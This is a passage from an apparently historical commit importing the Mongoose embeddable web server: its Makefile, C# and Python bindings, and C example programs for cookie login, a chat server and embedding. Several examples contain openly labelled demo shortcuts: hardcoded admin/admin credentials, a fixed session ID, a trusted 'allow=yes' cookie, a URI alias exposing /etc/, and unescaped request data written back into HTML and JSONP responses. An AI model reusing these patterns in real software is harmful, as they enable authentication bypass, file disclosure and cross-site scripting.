Commit a69a2da3 authored by Sergey Lyubka's avatar Sergey Lyubka

Initial import - converting from Subversion.

parents
# This file is part of Mongoose project, http://code.google.com/p/mongoose
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
PROG= mongoose
all:
@echo "make (linux|bsd|solaris|mac|windows|mingw)"
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
# -DHAVE_MD5 - use system md5 library (-2kb)
# -DNDEBUG - strip off all debug code (-5kb)
# -DDEBUG - build debug version (very noisy) (+7kb)
# -DNO_CGI - disable CGI support (-5kb)
# -DNO_SSL - disable SSL functionality (-2kb)
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
# -DNO_SSI - disable SSI support (-4kb)
# -DHAVE_STRTOUI64 - use system strtoui64() function for strtoull()
##########################################################################
### UNIX build: linux, bsd, mac, rtems
##########################################################################
CFLAGS= -W -Wall -std=c99 -pedantic -Os -fomit-frame-pointer $(COPT)
MAC_SHARED= -flat_namespace -bundle -undefined suppress
LINFLAGS= -D_POSIX_SOURCE -D_BSD_SOURCE -D_FILE_OFFSET_BITS=64 \
-D_LARGEFILE_SOURCE -ldl -lpthread $(CFLAGS)
LIB= _$(PROG).so
linux:
$(CC) $(LINFLAGS) mongoose.c -shared -fPIC -fpic -s -o $(LIB)
$(CC) $(LINFLAGS) mongoose.c main.c -s -o $(PROG)
bsd:
$(CC) $(CFLAGS) mongoose.c -shared -lpthread -s -fpic -fPIC -o $(LIB)
$(CC) $(CFLAGS) mongoose.c main.c -lpthread -s -o $(PROG)
mac:
$(CC) $(CFLAGS) $(MAC_SHARED) mongoose.c -lpthread -o $(LIB)
$(CC) $(CFLAGS) mongoose.c main.c -lpthread -o $(PROG)
solaris:
gcc $(CFLAGS) mongoose.c -lpthread -lnsl \
-lsocket -s -fpic -fPIC -shared -o $(LIB)
gcc $(CFLAGS) mongoose.c main.c -lpthread -lnsl -lsocket -s -o $(PROG)
##########################################################################
### WINDOWS build: Using Visual Studio or Mingw
##########################################################################
# Using Visual Studio Express
# 1. Download and install Visual Studio Express 2008 to c:\msvc8
# 2. Download and install Windows SDK to c:\sdk
# 3. Go to c:\msvc8\vc\bin and start "VIsual Studio 2008 Command prompt"
# (or Itanium/amd64 command promt to build x64 version)
# 4. In the command prompt, go to mongoose directory and do "nmake windows"
#WINDBG= /Zi /DDEBUG /Od /DDEBUG
WINDBG= /DNDEBUG /Os
WINFLAGS= /MT /TC /nologo /W4 $(WINDBG)
windows:
cl $(WINFLAGS) mongoose.c /link /incremental:no /DLL \
/DEF:win32\dll.def /out:_$(PROG).dll ws2_32.lib
cl $(WINFLAGS) mongoose.c main.c /link /incremental:no \
/out:$(PROG).exe ws2_32.lib
# Build for Windows under MinGW
#MINGWDBG= -DDEBUG -O0
MINGWDBG= -DNDEBUG -Os
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT
mingw:
gcc $(MINGWOPT) mongoose.c -lws2_32 \
-shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
gcc $(MINGWOPT) mongoose.c main.c -lws2_32 -ladvapi32 -o $(PROG).exe
##########################################################################
### Manuals, cleanup, test, release
##########################################################################
man:
cat mongoose.1 | tbl | groff -man -Tascii | col -b > mongoose.1.txt
cat mongoose.1 | tbl | groff -man -Tascii | less
# "TEST=unit make test" - perform unit test only
# "TEST=embedded" - test embedded API by building and testing test/embed.c
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
test: do_test
do_test:
perl test/test.pl $(TEST)
release: clean
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar --exclude \*.svn --exclude \*.swp --exclude \*.nfs\* --exclude win32 -czf x mongoose && mv x mongoose/$$F
clean:
rm -rf *.o *.core $(PROG) *.obj $(PROG).1.txt *.dSYM *.tgz
// This is C# example on how to use Mongoose embeddable web server,
// http://code.google.com/p/mongoose
//
// Before using the mongoose module, make sure that Mongoose shared library is
// built and present in the current (or system library) directory
using System;
using System.Runtime.InteropServices;
public class Program {
// This function is called when user types in his browser http://127.0.0.1:8080/foo
static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
conn.write("HTTP/1.1 200 OK\r\n\r\n");
conn.write("Hello from C#!\n");
conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
}
static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
{
conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
conn.write("<html><body><head>Calling Info</head>");
conn.write("<p>Request: " + ri.request_method + "</p>");
conn.write("<p>URI: " + ri.uri + "</p>");
conn.write("<p>Query: " + ri.query_string + "</p>");
if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
conn.write("<p>User:" + ri.remote_user + "</p>");
conn.write("<p>IP: " + ri.remote_ip + "</p>");
conn.write("<p>HTTP: " + ri.http_version + "</p>");
conn.write("<p>Port: " + ri.remote_port + "</p>");
conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
{
conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
+ ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
}
conn.write("</body></html>");
}
static void Main() {
Mongoose web_server = new Mongoose();
// Set options and /foo URI handler
web_server.set_option("ports", "8080");
web_server.set_option("root", "c:\\");
web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
// Serve requests until user presses "enter" on a keyboard
Console.ReadLine();
}
}
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
using System;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
public IntPtr name; // Using IntPtr here because if we use strings here,
public IntPtr value; // it won't be properly marshalled.
};
// This is "struct mg_request_info" from mongoose.h header file
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
public string request_method;
public string uri;
public string http_version;
public string query_string;
public IntPtr post_data;
public string remote_user;
public int remote_ip; //int to match the 32bit declaration in c
public int remote_port;
public int post_data_len;
public int status_code;
public int num_headers;
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
};
// This is a delegate for mg_callback_t from mongoose.h header file
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
// This is a delegate to be used by the application
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
public class Mongoose {
public string version;
private IntPtr ctx;
//These two events are here to store a ref to the callbacks while they are over in unmanaged code.
private event MongooseCallback2 delegates2;
private event MongooseCallback delegates1;
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
public Mongoose() {
ctx = mg_start();
version = mg_version();
}
~Mongoose() {
mg_stop(this.ctx);
this.ctx = IntPtr.Zero;
}
public int set_option(string option_name, string option_value) {
return mg_set_option(this.ctx, option_name, option_value);
}
public string get_option(string option_name) {
return mg_get_option(this.ctx, option_name);
}
public void set_uri_callback(string uri_regex, MongooseCallback func) {
// Build a closure around user function. Initialize connection object there which wraps
// mg_write() and other useful methods, and then call user specified handler.
MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
MongooseConnection connection = new MongooseConnection(conn, this);
func(connection, ri);
};
// store a reference to the callback so it won't be GC'ed while its over in unmanged code
delegates2 += callback;
mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
}
public void set_log_callback(MongooseCallback func) {
delegates1 += func;
mg_set_log_callback(this.ctx, func);
}
}
public class MongooseConnection {
public Mongoose mongoose;
private IntPtr conn;
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
mongoose = mongoose_;
conn = conn_;
}
public string get_header(string header_name) {
return mg_get_header(this.conn, header_name);
}
public string get_var(string header_name) {
string s = mg_get_var(this.conn, header_name);
string copy = "" + s;
mg_free(Marshal.StringToHGlobalAnsi(s));
return copy;
}
public int write(string data) {
return mg_write(this.conn, data, data.Length);
}
}
# This is Python example on how to use Mongoose embeddable web server,
# http://code.google.com/p/mongoose
#
# Before using the mongoose module, make sure that Mongoose shared library is
# built and present in the current (or system library) directory
import mongoose
import sys
# This function is a "/foo" URI handler: it will be called each time
# HTTP request to http://this_machine:8080/foo made.
# It displays some request information.
def uri_handler(conn, info, data):
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
conn.printf('%s %s\n', info.request_method, info.uri)
conn.printf('my_var: %s\n', conn.get_var('my_var') or '<not set>')
conn.printf('HEADERS: \n')
for header in info.http_headers[:info.num_headers]:
conn.printf(' %s: %s\n', header.name, header.value)
# This function is 404 error handler: it is called each time requested
# document is not found by the server.
def error_404_handler(conn, info, data):
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
conn.printf('Document %s not found!\n', info.uri)
# Create mongoose object, and register '/foo' URI handler
# List of options may be specified in the contructor
server = mongoose.Mongoose(root='/tmp', ports='8080')
# Register custom URI and 404 error handler
server.set_uri_callback('/foo', uri_handler, 0)
server.set_error_callback(404, error_404_handler, 0)
# Any option may be set later on by setting an attribute of the server object
server.ports = '8080,8081' # Listen on port 8081 in addition to 8080
# Mongoose options can be retrieved by asking an attribute
print 'Starting Mongoose %s on port(s) %s ' % (server.version, server.ports)
print 'CGI extensions: %s' % server.cgi_ext
# Serve connections until 'enter' key is pressed on a console
sys.stdin.read(1)
# Deleting server object stops all serving threads
print 'Stopping server.'
del server
# Copyright (c) 2004-2009 Sergey Lyubka
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
"""
This module provides python binding for the Mongoose web server.
There are two classes defined:
Connection: - wraps all functions that accept struct mg_connection pointer
as first argument
Mongoose: wraps all functions that accept struct mg_context pointer as
first argument. All valid option names, settable via mg_set_option(),
are settable/gettable as the attributes of the Mongoose object.
In addition to those, two attributes are available:
'version': string, contains server version
'options': array of all known options.
Creating Mongoose object automatically starts server, deleting object
automatically stops it. There is no need to call mg_start() or mg_stop().
"""
import ctypes
import os
class mg_header(ctypes.Structure):
"""A wrapper for struct mg_header."""
_fields_ = [
('name', ctypes.c_char_p),
('value', ctypes.c_char_p),
]
class mg_request_info(ctypes.Structure):
"""A wrapper for struct mg_request_info."""
_fields_ = [
('request_method', ctypes.c_char_p),
('uri', ctypes.c_char_p),
('http_version', ctypes.c_char_p),
('query_string', ctypes.c_char_p),
('post_data', ctypes.c_char_p),
('remote_user', ctypes.c_char_p),
('remote_ip', ctypes.c_long),
('remote_port', ctypes.c_int),
('post_data_len', ctypes.c_int),
('status_code', ctypes.c_int),
('num_headers', ctypes.c_int),
('http_headers', mg_header * 64),
]
class Connection(object):
"""A wrapper class for all functions that take
struct mg_connection * as the first argument."""
def __init__(self, mongoose, connection):
self.m = mongoose
self.conn = connection
def get_header(self, name):
val = self.m.dll.mg_get_header(self.conn, name)
return ctypes.c_char_p(val).value
def get_var(self, name):
var = None
pointer = self.m.dll.mg_get_var(self.conn, name)
if pointer:
# Make a copy and free() the returned pointer
var = '' + ctypes.c_char_p(pointer).value
self.m.dll.mg_free(pointer)
return var
def printf(self, fmt, *args):
val = self.m.dll.mg_printf(self.conn, fmt, *args)
return ctypes.c_int(val).value
def write(self, data):
val = self.m.dll.mg_write(self.conn, data, len(data))
return ctypes.c_int(val).value
class Mongoose(object):
"""A wrapper class for Mongoose shared library."""
# Exceptions for __setattr__ and __getattr__: these attributes
# must not be treated as Mongoose options
_private = ('dll', 'ctx', 'version', 'callbacks')
def __init__(self, **kwargs):
dll_extension = os.name == 'nt' and 'dll' or 'so'
self.dll = ctypes.CDLL('_mongoose.%s' % dll_extension)
start = self.dll.mg_start
self.ctx = ctypes.c_voidp(self.dll.mg_start()).value
self.version = ctypes.c_char_p(self.dll.mg_version()).value
self.callbacks = []
for name, value in kwargs.iteritems():
self.__setattr__(name, value)
def __setattr__(self, name, value):
"""Set Mongoose option. Raises ValueError in option not set."""
if name in self._private:
object.__setattr__(self, name, value)
else:
code = self.dll.mg_set_option(self.ctx, name, value)
if code != 1:
raise ValueError('Cannot set option [%s] '
'to [%s]' % (name, value))
def __getattr__(self, name):
"""Get Mongoose option."""
if name in self._private:
return object.__getattr__(self, name)
else:
val = self.dll.mg_get_option(self.ctx, name)
return ctypes.c_char_p(val).value
def __del__(self):
"""Destructor, stop Mongoose instance."""
self.dll.mg_stop(self.ctx)
def _make_c_callback(self, python_callback):
"""Return C callback from given Python callback."""
# Create a closure that will be called by the shared library.
def _cb(connection, request_info, user_data):
# Wrap connection pointer into the connection
# object and call Python callback
conn = Connection(self, connection)
python_callback(conn, request_info.contents, user_data)
# Convert the closure into C callable object
c_callback = ctypes.CFUNCTYPE(ctypes.c_voidp, ctypes.c_voidp,
ctypes.POINTER(mg_request_info), ctypes.c_voidp)(_cb)
# Store created callback in the list, so it is kept alive
# during context lifetime. Otherwise, python can garbage
# collect it, and C code will crash trying to call it.
self.callbacks.append(c_callback)
return c_callback
def set_uri_callback(self, uri_regex, python_callback, user_data):
self.dll.mg_set_uri_callback(self.ctx, uri_regex,
self._make_c_callback(python_callback), user_data)
def set_auth_callback(self, uri_regex, python_callback, user_data):
self.dll.mg_set_auth_callback(self.ctx, uri_regex,
self._make_c_callback(python_callback), user_data)
def set_error_callback(self, error_code, python_callback, user_data):
self.dll.mg_set_error_callback(self.ctx, error_code,
self._make_c_callback(python_callback), user_data)
def set_log_callback(self, python_callback):
self.dll.mg_set_log_callback(self.ctx,
self._make_c_callback(python_callback))
PROG= chat
CFLAGS= -W -Wall -I.. -pthread -g
all:
OS=`uname`; \
test "$$OS" = Linux && LIBS="-ldl" ; \
$(CC) $(CFLAGS) chat.c ../mongoose.c $(LIBS) $(ADD) -o $(PROG)
./$(PROG)
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stdio.h>
#include "mongoose.h"
/*
* Cookie based authentication
* taken from http://en.wikipedia.org/wiki/HTTP_cookie#Authentication
*
* 1. The user inserts his or her username and password in the text fields
* of a login page and sends them to the server;
* 2. The server receives the username and password and checks them; if
* correct, it sends back a page confirming that login has been successful
* together with a cookie containing a random session ID that coincides with
* a session stored in a database. This cookie is usually made valid for
* only the current browser session, however it may also be set to expire at
* a future date. The random session ID is then provided on future visits
* and provides a way for the server to uniquely identify the browser and
* confirm that the browser already has an authenticated user.
* 3. Every time the user requests a page from the server, the browser
* automatically sends the cookie back to the server; the server compares
* the cookie with the stored ones; if a match is found, the server knows
* which user has requested that page.
*/
static void
login_page(struct mg_connection *conn,
const struct mg_request_info *ri, void *data)
{
char *name, *pass, uri[100];
const char *cookie;
name = mg_get_var(conn, "name");
pass = mg_get_var(conn, "pass");
cookie = mg_get_header(conn, "Cookie");
/*
* Here user name and password must be checked against some
* database - this is step 2 from the algorithm described above.
* This is an example, so hardcode name and password to be
* admin/admin, and if this is so, set "allow=yes" cookie and
* redirect back to the page where we have been redirected to login.
*/
if (name != NULL && pass != NULL &&
strcmp(name, "admin") == 0 && strcmp(pass, "admin") == 0) {
if (cookie == NULL || sscanf(cookie, "uri=%99s", uri) != 1)
(void) strcpy(uri, "/");
/* Set allow=yes cookie, which is expected by authorize() */
mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
"Location: %s\r\n"
"Set-Cookie: allow=yes;\r\n\r\n", uri);
} else {
/* Print login page */
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
"content-Type: text/html\r\n\r\n"
"Please login (enter admin/admin to pass)<br>"
"<form method=post>"
"Name: <input type=text name=name></input><br/>"
"Password: <input type=password name=pass></input><br/>"
"<input type=submit value=Login></input>"
"</form>");
}
if (name != NULL)
mg_free(name);
if (pass != NULL)
mg_free(pass);
}
static void
authorize(struct mg_connection *conn,
const struct mg_request_info *ri, void *data)
{
const char *cookie, *domain;
cookie = mg_get_header(conn, "Cookie");
if (!strcmp(ri->uri, "/login")) {
/* Always authorize accesses to the login page */
mg_authorize(conn);
} else if (cookie != NULL && strstr(cookie, "allow=yes") != NULL) {
/* Valid cookie is present, authorize */
mg_authorize(conn);
} else {
/* Not authorized. Redirect to the login page */
mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
"Set-Cookie: uri=%s;\r\n"
"Location: /login\r\n\r\n", ri->uri);
}
}
int
main(int argc, char *argv[])
{
struct mg_context *ctx;
ctx = mg_start();
mg_set_option(ctx, "ports", "8080");
mg_set_auth_callback(ctx, "/*", &authorize, NULL);
mg_set_uri_callback(ctx, "/login", &login_page, NULL);
for (;;)
sleep(1);
}
/*
* This file is part of the Mongoose project, http://code.google.com/p/mongoose
* It implements an online chat server. For more details,
* see the documentation on project page.
* To start the server,
* a) type "make" in the directory where this file lives
* b) point your browser to http://127.0.0.1:8081
*
* NOTE(lsm): this file follows Google style, not BSD style as the rest of
* Mongoose code.
*
* $Id: chat.c 513 2010-05-03 11:06:08Z valenok $
*/
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include "mongoose.h"
static const char *login_url = "/login.html";
static const char *authorize_url = "/authorize";
static const char *web_root = "./html";
static const char *http_ports = "8081,8082s";
static const char *ssl_certificate = "ssl_cert.pem";
static const char *ajax_reply_start =
"HTTP/1.1 200 OK\r\n"
"Cache: no-cache\r\n"
"Content-Type: application/x-javascript\r\n"
"\r\n";
// Describes single message sent to a chat. If user is empty (0 length),
// the message is then originated from the server itself.
struct message {
long id;
char user[20];
char text[200];
time_t utc_timestamp;
};
static struct message messages[5]; // Ringbuffer where messages are kept
static long last_message_id;
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
// Get a get of messages with IDs greater than last_id and transform them
// into a JSON string. Return that string to the caller. The string is
// dynamically allocated, caller must free it. If there are no messages,
// NULL is returned.
static char *messages_to_json(long last_id) {
const struct message *message;
int max_msgs, len;
char buf[sizeof(messages)]; // Large enough to hold all messages
// Read-lock the ringbuffer. Loop over all messages, making a JSON string.
pthread_rwlock_rdlock(&rwlock);
len = 0;
max_msgs = sizeof(messages) / sizeof(messages[0]);
// If client is too far behind, return all messages.
if (last_message_id - last_id > max_msgs) {
last_id = last_message_id - max_msgs;
}
for (; last_id < last_message_id; last_id++) {
message = &messages[last_id % max_msgs];
if (message->utc_timestamp == 0) {
break;
}
// buf is allocated on stack and hopefully is large enough to hold all
// messages (it may be too small if the ringbuffer is full and all
// messages are large. in this case asserts will trigger).
len += snprintf(buf + len, sizeof(buf) - len,
"{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
message->user, message->text, message->utc_timestamp, message->id);
assert(len > 0);
assert((size_t) len < sizeof(buf));
}
pthread_rwlock_unlock(&rwlock);
return len == 0 ? NULL : strdup(buf);
}
// If "callback" param is present in query string, this is JSONP call.
// Return 1 in this case, or 0 if "callback" is not specified.
// Wrap an output in Javascript function call.
static int handle_jsonp(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char cb[64];
mg_get_qsvar(request_info, "callback", cb, sizeof(cb));
if (cb[0] != '\0') {
mg_printf(conn, "%s(", cb);
}
return cb[0] == '\0' ? 0 : 1;
}
// A handler for the /ajax/get_messages endpoint.
// Return a list of messages with ID greater than requested.
static void ajax_get_messages(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char last_id[32], *json;
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
mg_get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
mg_printf(conn, "[%s]", json);
free(json);
}
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// A handler for the /ajax/send_message endpoint.
static void ajax_send_message(struct mg_connection *conn,
const struct mg_request_info *request_info) {
struct message *message;
char text[sizeof(message->text) - 1];
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
(void) mg_get_qsvar(request_info, "text", text, sizeof(text));
if (text[0] != '\0') {
// We have a message to store. Write-lock the ringbuffer,
// grab the next message and copy data into it.
pthread_rwlock_wrlock(&rwlock);
message = &messages[last_message_id %
(sizeof(messages) / sizeof(messages[0]))];
// TODO(lsm): JSON-encode all text strings
strncpy(message->text, text, sizeof(text));
strncpy(message->user, "joe", sizeof(message->user));
message->utc_timestamp = time(0);
message->id = last_message_id++;
pthread_rwlock_unlock(&rwlock);
}
mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// Redirect user to the login form. In the cookie, store the original URL
// we came from, so that after the authorization we could redirect back.
static void redirect_to_login(struct mg_connection *conn,
const struct mg_request_info *request_info) {
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: original_url=%s\r\n"
"Location: %s\r\n\r\n", request_info->uri, login_url);
}
// Return 1 if username/password is allowed, 0 otherwise.
static int check_password(const char *user, const char *password) {
// In production environment we should ask an authentication system
// to authenticate the user.
// Here however we do trivial check: if username == password, allow.
return (strcmp(user, password) == 0 ? 1 : 0);
}
// A handler for the /authorize endpoint.
// Login page form sends user name and password to this endpoint.
static void authorize(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char user[20], password[20], original_url[200];
// Fetch user name and password.
mg_get_qsvar(request_info, "user", user, sizeof(user));
mg_get_qsvar(request_info, "password", password, sizeof(password));
mg_get_cookie(conn, "original_url", original_url, sizeof(original_url));
if (user[0] && password[0] && check_password(user, password)) {
// Authentication success:
// 1. create new session
// 2. set session ID token in the cookie
// 3. remove original_url from the cookie - not needed anymore
// 4. redirect client back to the original URL
// TODO(lsm): implement sessions.
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: sid=1234; max-age=2h; http-only\r\n" // Set session ID
"Set-Cookie: original_url=/; max_age=0\r\n" // Delete original_url
"Location: %s\r\n\r\n", original_url[0] == '\0' ? "/" : original_url);
} else {
// Authentication failure, redirect to login again.
redirect_to_login(conn, request_info);
}
}
// Return 1 if request is authorized, 0 otherwise.
static int is_authorized(const struct mg_connection *conn,
const struct mg_request_info *request_info) {
// TODO(lsm): implement this part: fetch session ID from the cookie.
return 0;
}
// Return 1 if authorization is required for requested URL, 0 otherwise.
static int must_authorize(const struct mg_request_info *request_info) {
return (strcmp(request_info->uri, login_url) != 0 &&
strcmp(request_info->uri, authorize_url) != 0);
}
static int process_request(struct mg_connection *conn,
const struct mg_request_info *request_info) {
int processed = 1;
if (must_authorize(request_info) &&
!is_authorized(conn, request_info)) {
// If user is not authorized, redirect to the login form.
redirect_to_login(conn, request_info);
} else if (strcmp(request_info->uri, authorize_url) == 0) {
authorize(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
ajax_get_messages(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
ajax_send_message(conn, request_info);
} else {
// No suitable handler found, mark as not processed. Mongoose will
// try to serve the request.
processed = 0;
}
return processed;
}
int main(int argc, char *argv[]) {
struct mg_context *ctx;
ctx = mg_start();
mg_set_option(ctx, "root", web_root);
mg_set_option(ctx, "ssl_cert", ssl_certificate); // Must be set before ports
mg_set_option(ctx, "ports", http_ports);
mg_set_option(ctx, "dir_list", "no"); // Disable directory listing
mg_set_callback(ctx, MG_EVENT_NEW_REQUEST, &process_request);
printf("Chat server started on ports %s, press enter to quit.\n", http_ports);
getchar();
mg_stop(ctx);
printf("%s\n", "Chat server stopped.");
return EXIT_SUCCESS;
}
// vim:ts=2:sw=2:et
/*
* This file is an example of how to embed web-server functionality
* into existing application.
* Compilation line (from Mongoose sources root directory):
* cc mongoose.c examples/example.c -I. -lpthread -o example
*/
#ifdef _WIN32
#include <winsock.h>
#define snprintf _snprintf
#ifndef _WIN32_WCE
#ifdef _MSC_VER /* pragmas not valid on MinGW */
#endif /* _MSC_VER */
#define ALIAS_URI "/my_c"
#define ALIAS_DIR "c:\\"
#else /* _WIN32_WCE */
/* Windows CE-specific definitions */
#pragma comment(lib,"ws2")
//#include "compat_wince.h"
#define ALIAS_URI "/my_root"
#define ALIAS_DIR "\\"
#endif /* _WIN32_WCE */
#else
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#define ALIAS_URI "/my_etc"
#define ALIAS_DIR "/etc/"
#endif
#ifndef _WIN32_WCE /* Some ANSI #includes are not available on Windows CE */
#include <time.h>
#include <errno.h>
#include <signal.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include "mongoose.h"
/*
* This callback function is attached to the "/" and "/abc.html" URIs,
* thus is acting as "index.html" file. It shows a bunch of links
* to other URIs, and allows to change the value of program's
* internal variable. The pointer to that variable is passed to the
* callback function as arg->user_data.
*/
static void
show_index(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
char *value;
const char *host;
/* Change the value of integer variable */
value = mg_get_var(conn, "name1");
if (value != NULL) {
* (int *) user_data = atoi(value);
mg_free(value);
/*
* Suggested by Luke Dunstan. When POST is used,
* send 303 code to force the browser to re-request the
* page using GET method. This prevents the possibility of
* the user accidentally resubmitting the form when using
* Refresh or Back commands in the browser.
*/
if (!strcmp(request_info->request_method, "POST")) {
(void) mg_printf(conn, "HTTP/1.1 303 See Other\r\n"
"Location: %s\r\n\r\n", request_info->uri);
return;
}
}
mg_printf(conn, "%s",
"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n"
"<html><body><h1>Welcome to embedded example of Mongoose");
mg_printf(conn, " v. %s </h1><ul>", mg_version());
mg_printf(conn, "<li><code>REQUEST_METHOD: %s "
"REQUEST_URI: \"%s\" QUERY_STRING: \"%s\""
" REMOTE_ADDR: %lx REMOTE_USER: \"(null)\"</code><hr>",
request_info->request_method, request_info->uri,
request_info->query_string ? request_info->query_string : "(null)",
request_info->remote_ip);
mg_printf(conn, "<li>Internal int variable value: <b>%d</b>",
* (int *) user_data);
mg_printf(conn, "%s",
"<form method=\"GET\">Enter new value: "
"<input type=\"text\" name=\"name1\"/>"
"<input type=\"submit\" "
